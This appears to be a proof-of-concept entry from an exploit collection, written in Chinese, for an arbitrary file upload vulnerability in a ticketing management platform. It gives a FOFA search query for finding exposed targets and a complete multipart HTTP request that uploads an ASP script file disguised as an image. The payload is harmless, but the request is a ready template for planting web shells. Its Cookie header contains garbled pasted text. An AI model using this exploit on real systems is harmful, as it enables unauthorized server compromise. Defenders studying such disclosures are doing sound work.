## 中成科信票务管理平台任意文件上传漏洞


## fofa
```
body="技术支持：北京中成科信科技发展有限公司"
```

## poc
```
POST /SystemManager/Comm/CommFunHandler.ashx HTTP/1.1
Host: 
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://fofa.info/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASP.NET Core | Open-source web framework for .NET_SessionId=zaiwm34v0gxjfsfcjx3zvw5u
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------354575237365372692397370
Content-Length: 864


----------------------------354575237365372692397370
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: image/jpeg

<%
Response.Write("this is test")
%>
----------------------------354575237365372692397370
Content-Disposition: form-data; name="fileName"

1.asp
----------------------------354575237365372692397370
Content-Disposition: form-data; name="Method"

UploadZoneImg
----------------------------354575237365372692397370
Content-Disposition: form-data; name="solutionNo"

----------------------------354575237365372692397370
Content-Disposition: form-data; name="siteNo"

1
----------------------------354575237365372692397370
Content-Disposition: form-data; name="showNo"

1
----------------------------354575237365372692397370
Content-Disposition: form-data; name="showingNo"

1
----------------------------354575237365372692397370--
```
![image](https://github.com/wy876/POC/assets/139549762/e24a61e4-466f-4e06-9cef-c2e11098b6d3)